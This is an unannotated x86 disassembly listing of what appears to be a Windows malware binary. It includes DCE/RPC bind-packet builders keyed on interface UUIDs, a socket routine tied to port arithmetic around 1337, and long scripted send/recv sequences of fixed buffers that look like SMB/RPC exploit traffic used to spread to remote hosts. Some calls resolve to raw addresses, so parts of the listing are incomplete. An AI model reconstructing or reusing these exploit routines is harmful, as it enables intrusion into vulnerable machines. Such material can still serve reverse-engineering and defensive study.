cmp byte ptr [eax], 0FFh
jz short loc_40C076
cmp edi, ebx
jnz short loc_40C0B5
push dword ptr [esi+4]
mov ecx, esi
call sub_40C2B0
dec byte ptr [eax]
push ebx
loc_40C06B: ; CODE XREF: sub_40C01F+63j
mov ecx, esi
call sub_40C0CB
loc_40C072: ; CODE XREF: sub_40C01F+68j
; sub_40C01F+72j
xor al, al
jmp short loc_40C0BF
; ---------------------------------------------------------------------------
loc_40C076: ; CODE XREF: sub_40C01F+1Ej
; sub_40C01F+2Aj ...
cmp edi, ebx
jnz short loc_40C093
cmp [esp+0Ch+arg_4], bl
jz short loc_40C084
push 1
jmp short loc_40C06B
; ---------------------------------------------------------------------------
loc_40C084: ; CODE XREF: sub_40C01F+5Fj
cmp [esi+4], ebx
jz short loc_40C072
push ebx
mov ecx, esi
call sub_40BFEF
jmp short loc_40C072
; ---------------------------------------------------------------------------
loc_40C093: ; CODE XREF: sub_40C01F+59j
cmp [esp+0Ch+arg_4], bl
jz short loc_40C0B0
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40C0A5
cmp eax, edi
jnb short loc_40C0BD
loc_40C0A5: ; CODE XREF: sub_40C01F+80j
push 1
mov ecx, esi
call sub_40C0CB
jmp short loc_40C0B5
; ---------------------------------------------------------------------------
loc_40C0B0: ; CODE XREF: sub_40C01F+78j
cmp [esi+0Ch], edi
jnb short loc_40C0BD
loc_40C0B5: ; CODE XREF: sub_40C01F+3Dj
; sub_40C01F+8Fj
push edi
mov ecx, esi
call sub_40C1EB
loc_40C0BD: ; CODE XREF: sub_40C01F+84j
; sub_40C01F+94j
mov al, 1
loc_40C0BF: ; CODE XREF: sub_40C01F+55j
pop edi
pop esi
pop ebx
retn 8
sub_40C01F endp
; =============== S U B R O U T I N E =======================================
sub_40C0C5 proc near ; CODE XREF: sub_40BE4D+7p
mov eax, offset dword_433474
retn
sub_40C0C5 endp
; =============== S U B R O U T I N E =======================================
sub_40C0CB proc near ; CODE XREF: sub_40BD49+Dp
; sub_40BD61+Ep ...
arg_0 = byte ptr 4
push ebx
xor ebx, ebx
cmp [esp+4+arg_0], bl
push esi
mov esi, ecx
jz short loc_40C117
mov eax, [esi+4]
cmp eax, ebx
jz short loc_40C117
push eax
call sub_40C2B0
cmp [eax], bl
jz short loc_40C105
push dword ptr [esi+4]
mov ecx, esi
call sub_40C2B0
cmp byte ptr [eax], 0FFh
jz short loc_40C105
push dword ptr [esi+4]
mov ecx, esi
call sub_40C2B0
dec byte ptr [eax]
jmp short loc_40C117
; ---------------------------------------------------------------------------
loc_40C105: ; CODE XREF: sub_40C0CB+1Bj
; sub_40C0CB+2Aj
mov eax, [esi+0Ch]
mov ecx, esi
inc eax
inc eax
push eax
mov eax, [esi+4]
dec eax
push eax
call sub_40C2B8
loc_40C117: ; CODE XREF: sub_40C0CB+Aj
; sub_40C0CB+11j ...
mov [esi+4], ebx
mov [esi+8], ebx
mov [esi+0Ch], ebx
pop esi
pop ebx
retn 4
sub_40C0CB endp
; =============== S U B R O U T I N E =======================================
sub_40C125 proc near ; CODE XREF: sub_40BFD2+14p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
push [esp+8+arg_4]
mov esi, ecx
call sub_40C01F
test al, al
jz short loc_40C155
push [esp+4+arg_4]
push [esp+8+arg_0]
push dword ptr [esi+4]
call sub_40BEC7
add esp, 0Ch
mov ecx, esi
push [esp+4+arg_4]
call sub_40BFEF
loc_40C155: ; CODE XREF: sub_40C125+10j
mov eax, esi
pop esi
retn 8
sub_40C125 endp
; =============== S U B R O U T I N E =======================================
sub_40C15B proc near ; CODE XREF: sub_40BEDC+41p
; sub_40BEDC+4Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40C16E
call sub_431790
loc_40C16E: ; CODE XREF: sub_40C15B+Cj
mov ecx, edi
call sub_40C2C5
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40C184
mov ebx, eax
loc_40C184: ; CODE XREF: sub_40C15B+25j
test ebx, ebx
jbe short loc_40C1B8
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_40C1C0
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40C01F
test al, al
jz short loc_40C1B8
push esi
mov ecx, edi
call sub_40BFEF
loc_40C1B8: ; CODE XREF: sub_40C15B+2Bj
; sub_40C15B+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40C15B endp
; =============== S U B R O U T I N E =======================================
sub_40C1C0 proc near ; CODE XREF: sub_40C15B+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4197C0
add esp, 0Ch
retn
sub_40C1C0 endp
; =============== S U B R O U T I N E =======================================
sub_40C1D5 proc near ; CODE XREF: sub_40C01F+5p
; sub_40C1EB+1Ep
call sub_40C311
cmp eax, 2
ja short loc_40C1E3
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_40C1E3: ; CODE XREF: sub_40C1D5+8j
add eax, 0FFFFFFFEh
retn
sub_40C1D5 endp
; =============== S U B R O U T I N E =======================================
sub_40C1E7 proc near ; CODE XREF: sub_40BEDC+A6p
mov eax, [ecx+0Ch]
retn
sub_40C1E7 endp
; =============== S U B R O U T I N E =======================================
sub_40C1EB proc near ; CODE XREF: sub_40C01F+99p
mov eax, offset loc_4320E4
call sub_4197A0
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
mov [ebp-10h], esp
mov [ebp-14h], esi
or edi, 1Fh
call sub_40C1D5
cmp eax, edi
jnb short loc_40C215
mov edi, [ebp+8]
loc_40C215: ; CODE XREF: sub_40C1EB+25j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
push 0
push eax
mov ecx, esi
call sub_40C301
mov [ebp+8], eax
jmp short loc_40C24E
; ---------------------------------------------------------------------------
loc_40C22B: ; DATA XREF: ___:00435214o
mov eax, [ebp+8]
mov ecx, [ebp-14h]
mov [ebp-18h], eax
add eax, 2
push 0
push eax
call sub_40C301
mov [ebp+8], eax
mov eax, offset loc_40C248
retn
; ---------------------------------------------------------------------------
loc_40C248: ; DATA XREF: sub_40C1EB+57o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40C24E: ; CODE XREF: sub_40C1EB+3Ej
mov eax, [esi+8]
or dword ptr [ebp-4], 0FFFFFFFFh
test eax, eax
jbe short loc_40C270
cmp eax, edi
jbe short loc_40C25F
mov eax, edi
loc_40C25F: ; CODE XREF: sub_40C1EB+70j
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_40BEC7
add esp, 0Ch
loc_40C270: ; CODE XREF: sub_40C1EB+6Cj
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40C0CB
mov eax, [ebp+8]
mov ecx, esi
inc eax
push eax
mov [esi+4], eax
call sub_40C2B0
and byte ptr [eax], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40C297
mov edi, ebx
loc_40C297: ; CODE XREF: sub_40C1EB+A8j
push edi
mov ecx, esi
call sub_40BFEF
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40C1EB endp
; =============== S U B R O U T I N E =======================================
sub_40C2B0 proc near ; CODE XREF: sub_40BEDC+70p
; sub_40BEDC+B3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
retn 4
sub_40C2B0 endp
; =============== S U B R O U T I N E =======================================
sub_40C2B8 proc near ; CODE XREF: sub_40C0CB+47p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_419B00
pop ecx
retn 8
sub_40C2B8 endp
; =============== S U B R O U T I N E =======================================
sub_40C2C5 proc near ; CODE XREF: sub_40C15B+15p
push esi
mov esi, ecx
mov eax, [esi+4]
test eax, eax
jz short loc_40C2FF
push eax
call sub_40C2B0
cmp byte ptr [eax], 0
jz short loc_40C2FF
push dword ptr [esi+4]
mov ecx, esi
call sub_40C2B0
cmp byte ptr [eax], 0FFh
jz short loc_40C2FF
push edi
mov edi, [esi+4]
push 1
mov ecx, esi
call sub_40C0CB
push edi
mov ecx, esi
call sub_40BFD2
pop edi
loc_40C2FF: ; CODE XREF: sub_40C2C5+8j
; sub_40C2C5+13j ...
pop esi
retn
sub_40C2C5 endp
; =============== S U B R O U T I N E =======================================
sub_40C301 proc near ; CODE XREF: sub_40C1EB+36p
; sub_40C1EB+4Fp
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_40C318
pop ecx
pop ecx
retn 8
sub_40C301 endp
; =============== S U B R O U T I N E =======================================
sub_40C311 proc near ; CODE XREF: sub_40C1D5p
or eax, 0FFFFFFFFh
retn
sub_40C311 endp
; =============== S U B R O U T I N E =======================================
sub_40C315 proc near ; CODE XREF: sub_40BEDC+7Cp
mov al, 1
retn
sub_40C315 endp
; =============== S U B R O U T I N E =======================================
sub_40C318 proc near ; CODE XREF: sub_40C301+6p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40C322
xor eax, eax
loc_40C322: ; CODE XREF: sub_40C318+6j
push eax
call sub_419BB0
pop ecx
retn
sub_40C318 endp
; =============== S U B R O U T I N E =======================================
sub_40C32A proc near ; CODE XREF: ___:loc_40BD33p
; sub_4318D0+3p
test byte_4DB44C, 1
jnz short locret_40C33A
or byte_4DB44C, 1
locret_40C33A: ; CODE XREF: sub_40C32A+7j
retn
sub_40C32A endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C33C proc near ; CODE XREF: ___:0040C709p
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push esi
push edi
xor edi, edi
push 20h
lea eax, [ebp+var_24]
push edi
push eax
mov [ebp+var_4], edi
call sub_417070
mov esi, offset dword_4D621C
push offset dword_43F484
push esi
call sub_4184C0
push [ebp+arg_0]
push esi
call sub_4184D0
push offset dword_43F488
push esi
call sub_4184D0
push offset dword_43F48C
push esi
call sub_4184D0
add esp, 2Ch
lea eax, [ebp+var_24]
mov [ebp+var_10], esi
mov [ebp+var_20], 1
push edi
push edi
push edi
push eax
mov [ebp+var_14], edi
mov [ebp+var_8], edi
call dword_4453F0
push dword_443B70
push [ebp+arg_0]
push dword_4D631C
call sub_419D00
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
push 66h
push dword_4D631C
call dword_44527C
test eax, eax
mov esi, offset dword_4D6320
jnz short loc_40C3EB
mov eax, [ebp+var_4]
push edi
push edi
push 64h
push esi
push 0FFFFFFFFh
push dword ptr [eax+4]
push edi
push edi
call near ptr 2710000h
nop
loc_40C3EB: ; CODE XREF: sub_40C33C+98j
cmp [ebp+var_4], edi
jz short loc_40C3F9
push [ebp+var_4]
call dword_4453D8
loc_40C3F9: ; CODE XREF: sub_40C33C+B2j
mov eax, esi
pop edi
pop esi
leave
retn
sub_40C33C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3FF proc near ; CODE XREF: sub_40C49D+3Fp
; sub_40C49D:loc_40C4F4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
push esi
xor edi, edi
call sub_414BE0
test eax, eax
pop ecx
mov [ebp+arg_0], eax
jbe short loc_40C46C
or eax, 0FFFFFFFFh
push ebx
lea edx, [esi+1]
sub eax, esi
loc_40C420: ; CODE XREF: sub_40C3FF+6Aj
mov cl, [edx-1]
cmp cl, 30h
jl short loc_40C435
cmp cl, 39h
jg short loc_40C435
movsx ecx, cl
sub ecx, 30h
jmp short loc_40C43B
; ---------------------------------------------------------------------------
loc_40C435: ; CODE XREF: sub_40C3FF+27j
; sub_40C3FF+2Cj
movsx ecx, cl
sub ecx, 57h
loc_40C43B: ; CODE XREF: sub_40C3FF+34j
mov bl, [edx]
shl ecx, 4
cmp bl, 30h
jl short loc_40C453
cmp bl, 39h
jg short loc_40C453
movsx esi, bl
lea ecx, [ecx+esi-30h]
jmp short loc_40C45A
; ---------------------------------------------------------------------------
loc_40C453: ; CODE XREF: sub_40C3FF+44j
; sub_40C3FF+49j
movsx esi, bl
lea ecx, [ecx+esi-57h]
loc_40C45A: ; CODE XREF: sub_40C3FF+52j
mov esi, [ebp+arg_4]
mov [edi+esi], cl
inc edi
inc edx
inc edx
lea ecx, [eax+edx]
cmp ecx, [ebp+arg_0]
jb short loc_40C420
pop ebx
loc_40C46C: ; CODE XREF: sub_40C3FF+16j
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_40C3FF endp
; =============== S U B R O U T I N E =======================================
sub_40C472 proc near ; CODE XREF: sub_40C49D+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov edx, eax
xor esi, esi
shr edx, 1
jz short loc_40C49B
push ebx
push edi
mov edi, [esp+0Ch+arg_0]
lea eax, [edi+eax-1]
loc_40C489: ; CODE XREF: sub_40C472+25j
mov bl, [esi+edi]
mov cl, [eax]
mov [eax], bl
mov [esi+edi], cl
inc esi
dec eax
cmp esi, edx
jb short loc_40C489
pop edi
pop ebx
loc_40C49B: ; CODE XREF: sub_40C472+Bj
pop esi
retn
sub_40C472 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C49D proc near ; CODE XREF: sub_40C52A+69p
; sub_40C52A+89p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor esi, esi
push ebx
mov [ebp+var_4], esi
mov [ebp+var_8], esi
mov edi, ebx
call sub_414BE0
mov [ebp+arg_0], esi
cmp eax, esi
mov esi, [ebp+arg_4]
pop ecx
mov [ebp+var_C], eax
jbe short loc_40C515
loc_40C4C7: ; CODE XREF: sub_40C49D+76j
mov eax, [ebp+arg_0]
add eax, ebx
cmp byte ptr [eax], 2Dh
jnz short loc_40C50A
and byte ptr [eax], 0
cmp [ebp+var_8], 3
push esi
push edi
jnb short loc_40C4F4
call sub_40C3FF
mov edi, eax
push edi
push esi
call sub_40C472
add esp, 10h
add esi, edi
add [ebp+var_4], edi
jmp short loc_40C500
; ---------------------------------------------------------------------------
loc_40C4F4: ; CODE XREF: sub_40C49D+3Dj
call sub_40C3FF
pop ecx
add esi, eax
add [ebp+var_4], eax
pop ecx
loc_40C500: ; CODE XREF: sub_40C49D+55j
mov eax, [ebp+arg_0]
inc [ebp+var_8]
lea edi, [eax+ebx+1]
loc_40C50A: ; CODE XREF: sub_40C49D+32j
inc [ebp+arg_0]
mov eax, [ebp+var_C]
cmp [ebp+arg_0], eax
jb short loc_40C4C7
loc_40C515: ; CODE XREF: sub_40C49D+28j
and byte ptr [eax+esi], 0
push esi
push edi
call sub_40C3FF
add eax, [ebp+var_4]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40C49D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C52A proc near ; CODE XREF: ___:0040C6C4p
var_2C = byte ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
push 9
pop ecx
mov esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860"
lea edi, [ebp+var_2C]
push 1
rep movsd
push 800h
movsb
call sub_4151C0
pop ecx
mov esi, eax
pop ecx
push 1
push [ebp+arg_4]
call sub_414BE0
shr eax, 1
inc eax
pop ecx
inc eax
push eax
call sub_4151C0
mov edi, esi
push 1
mov [ebp+var_4], eax
add esi, 10h
xor ebx, ebx
pop eax
mov word ptr [esi], 16D0h
mov word ptr [esi+2], 16D0h
mov [esi+4], ebx
mov [esi+8], eax
mov [esi+0Ch], bx
mov [esi+0Eh], ax
add esi, 10h
push esi
push [ebp+arg_4]
call sub_40C49D
add esi, eax
lea eax, [ebp+arg_8]
push 2
push eax
push esi
call sub_4187B0
inc esi
lea eax, [ebp+var_2C]
inc esi
mov [esi], bl
inc esi
mov [esi], bl
inc esi
push esi
push eax
call sub_40C49D
add esi, eax
mov ecx, [ebp+arg_C]
push [ebp+var_4]
mov byte ptr [esi], 2
inc esi
mov [esi], bl
sub esi, edi
inc esi
mov byte ptr [edi], 5
mov [edi+1], bl
mov byte ptr [edi+2], 0Bh
lea eax, [esi+2]
mov byte ptr [edi+3], 3
mov [edi+8], ax
mov eax, [ebp+arg_0]
mov [edi+0Ch], eax
mov dword ptr [edi+4], 10h
movzx eax, si
inc eax
mov [edi+0Ah], bx
inc eax
mov [ecx], eax
call sub_415820
add esp, 28h
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40C52A endp
; =============== S U B R O U T I N E =======================================
sub_40C605 proc near ; CODE XREF: ___:0040C74Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push esi
call sub_414BE0
pop ecx
mov ecx, [esp+4+arg_0]
lea ecx, [ecx+eax*2-1]
loc_40C619: ; CODE XREF: sub_40C605+25j
mov edx, eax
dec eax
test edx, edx
jz short loc_40C62C
and byte ptr [ecx], 0
mov dl, [eax+esi]
dec ecx
mov [ecx], dl
dec ecx
jmp short loc_40C619
; ---------------------------------------------------------------------------
loc_40C62C: ; CODE XREF: sub_40C605+19j
pop esi
retn
sub_40C605 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1048h
call sub_417E20
push ebx
xor ebx, ebx
cmp dword_44527C, ebx
push esi
push edi
jz loc_40C6FE
push 9
mov esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525"
pop ecx
lea edi, [ebp-48h]
rep movsd
movsb
push 1
pop edi
push ebx
push edi
push 2
mov [ebp-4], edi
call dword_4453C8
mov esi, eax
cmp esi, ebx
mov [ebp-0Ch], esi
jl loc_40C6FE
push dword ptr [ebp+0A8h]
mov word ptr [ebp-20h], 2
call dword_445348
mov [ebp-1Eh], ax
lea eax, [ebp+0Ch]
push eax
call dword_445388
mov [ebp-1Ch], eax
push 8
lea eax, [ebp-18h]
push ebx
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp-20h]
push 10h
push eax
push esi
call dword_4452F0
test eax, eax
jl short loc_40C6FE
lea eax, [ebp-10h]
push eax
lea eax, [ebp-48h]
push edi
push eax
push ebx
call sub_40C52A
add esp, 10h
mov edi, eax
push ebx
push dword ptr [ebp-10h]
push edi
push esi
call dword_445398
cmp eax, 0FFFFFFFFh
jz short loc_40C6F7
push ebx
lea eax, [ebp-1048h]
push 1000h
push eax
push esi
nop
call near ptr 71AB5690h
test eax, eax
jg short loc_40C705
loc_40C6F7: ; CODE XREF: ___:0040C6DDj
push edi
call sub_415820
pop ecx
loc_40C6FE: ; CODE XREF: ___:0040C646j
; ___:0040C671j ...
xor eax, eax
loc_40C700: ; CODE XREF: ___:0040C898j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40C705: ; CODE XREF: ___:0040C6F5j
lea eax, [ebp+0Ch]
push eax
call sub_40C33C
push eax
mov [ebp-8], eax
call sub_414BE0
pop ecx
test eax, eax
pop ecx
jz short loc_40C6FE
mov edi, 104Ch
push edi
call sub_414DB0
mov esi, eax
push edi
push 90h
push esi
call sub_417070
push 42h
push offset dword_43F258
push esi
call sub_4187B0
push dword ptr [ebp-8]
lea ebx, [esi+42h]
push ebx
call sub_40C605
push dword ptr [ebp-8]
call sub_414BE0
lea ebx, [ebx+eax*2]
push 14h
push offset off_43F29C
push ebx
call sub_4187B0
mov ebx, offset dword_43F2B4
push 18h
lea eax, [esi+418h]
push ebx
push eax
call sub_4187B0
add esp, 40h
lea eax, [esi+830h]
push 18h
push ebx
push eax
call sub_4187B0
push 18h
lea eax, [esi+0C48h]
push offset dword_43F2D0
push eax
call sub_4187B0
lea ebx, [esi+1B6h]
push 3Ah
push offset loc_43F2EC
push ebx
call sub_4187B0
push 0FFFFh
push 539h
call sub_4123FE
add esp, 2Ch
mov [ebp-8], eax
xor eax, 437h
push eax
call dword_445348
push 158h
add ebx, 3Ah
push offset dword_43F328
push ebx
mov word_43F3E2, ax
call sub_4187B0
and byte ptr [esi+104Ah], 0
and byte ptr [esi+104Bh], 0
push 1
lea eax, [ebp+0Ch]
pop ebx
push ebx
push eax
call sub_411949
add esp, 14h
cmp eax, 2
jnz short loc_40C817
mov dword ptr [ebp-4], 8
loc_40C817: ; CODE XREF: ___:0040C80Ej
cmp eax, 3
jnz short loc_40C81F
mov [ebp-4], ebx
loc_40C81F: ; CODE XREF: ___:0040C81Aj
; ___:0040C839j
mov eax, [ebp-4]
dec dword ptr [ebp-4]
test eax, eax
jz short loc_40C840
push 0
push edi
push esi
push dword ptr [ebp-0Ch]
call dword_445398
cmp eax, 0FFFFFFFFh
jnz short loc_40C81F
jmp loc_40C6FE
; ---------------------------------------------------------------------------
loc_40C840: ; CODE XREF: ___:0040C827j
push dword ptr [ebp-0Ch]
call dword_4453E0
push 1F4h
nop
call near ptr 2690599h
push esi
call sub_415820
pop ecx
lea esi, [ebp+8]
push dword ptr [ebp-8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4121EE
add esp, 0C0h
cmp al, 1
jnz loc_40C6FE
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_43DE40[eax]
lea eax, dword_43DE40[eax]
mov eax, ebx
jmp loc_40C700
; =============== S U B R O U T I N E =======================================
sub_40C89D proc near ; CODE XREF: sub_40CE96+39p
var_230 = byte ptr -230h
var_210 = byte ptr -210h
var_1F0 = byte ptr -1F0h
var_1D0 = byte ptr -1D0h
var_1B0 = byte ptr -1B0h
var_190 = byte ptr -190h
var_170 = byte ptr -170h
var_150 = byte ptr -150h
var_130 = byte ptr -130h
var_110 = byte ptr -110h
var_F0 = byte ptr -0F0h
var_D0 = byte ptr -0D0h
var_B0 = byte ptr -0B0h
var_90 = byte ptr -90h
var_70 = byte ptr -70h
var_50 = byte ptr -50h
var_30 = byte ptr -30h
var_20 = dword ptr -20h
var_10 = byte ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
arg_136F8 = byte ptr 136FCh
arg_13720 = dword ptr 13724h
arg_13864 = byte ptr 13868h
arg_1388C = byte ptr 13890h
arg_13924 = dword ptr 13928h
mov eax, 13894h
call sub_417E20
push ebx
push ebp
push esi
push edi
xor edi, edi
push edi
push 1
push 2
call near ptr 71AB3C22h
nop
mov esi, eax
lea eax, [esp+1Ch+arg_1388C]
push eax
mov word ptr [esp+20h+var_8], 2
nop
call near ptr 71AB12F8h
push [esp+20h+arg_13924]
mov [esp+24h+var_8], eax
nop
call near ptr 71AB1746h
mov [esp+24h+var_E], ax
lea eax, [esp+24h+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
test eax, eax
jge short loc_40C8FE
loc_40C8F7: ; CODE XREF: sub_40C89D+275j
xor eax, eax
jmp loc_40CD29
; ---------------------------------------------------------------------------
loc_40C8FE: ; CODE XREF: sub_40C89D+58j
lea eax, [esp+30h+var_20]
push 4
push eax
push 1006h
push 0FFFFh
push esi
mov [esp+44h+var_20], 1388h
call near ptr 71AB3F8Dh
nop
lea eax, [esp+44h+arg_13864]
push 1
push eax
call sub_411949
pop ecx
cmp eax, 2
pop ecx
jz loc_40CB17
cmp eax, 1
jz loc_40CB17
mov ebx, dword_4DD498
push edi
push 48h
push offset aB ; ""
push esi
call ebx ; send
mov ebp, dword_4DD490
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_43F530
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_43F58C
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_43F640
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_43F738
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_43F778
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_43F7DC
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_43F874
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_43F9D0
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_43FB2C
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_43FC88
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40CCF2
cmp eax, 0FFFFFFFFh
jz loc_40CCF2
push 0
push 15Bh
push offset dword_43F874
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_43F9D0
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_43FB2C
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_43FC88
push esi
call ebx ; send
push 1387Fh
lea eax, [esp+218h+var_1F0]
push 0
push eax
call sub_417070
add esp, 0Ch
loc_40CADE: ; CODE XREF: sub_40C89D+450j
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40CCF2
cmp eax, 0FFFFFFFFh
jz loc_40CCF2
cmp [esp+224h+arg_13720], 8Bh
push esi
jnz loc_40CCF3
call near ptr 71AB1A6Dh
nop
jmp loc_40C8F7
; ---------------------------------------------------------------------------
loc_40CB17: ; CODE XREF: sub_40C89D+95j
; sub_40C89D+9Ej
mov ebx, dword_4DD498
push edi
push 48h
push offset unk_43FCF4
push esi
call ebx ; send
mov ebp, dword_4DD490
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_43FD40
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_43FD9C
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_43FE50
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 66h
push offset dword_43FF48
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_43FFB0
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_43FFF0
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_440054
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_4400EC
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_440248
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_4403A4
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_440500
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_44065C
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40CCF2
cmp eax, 0FFFFFFFFh
jz short loc_40CCF2
push 0
push 15Bh
push offset dword_4400EC
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_440248
push esi
call ebx ; send
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_4403A4
push esi
call ebx ; send
push 0
lea eax, [esp+238h+var_210]
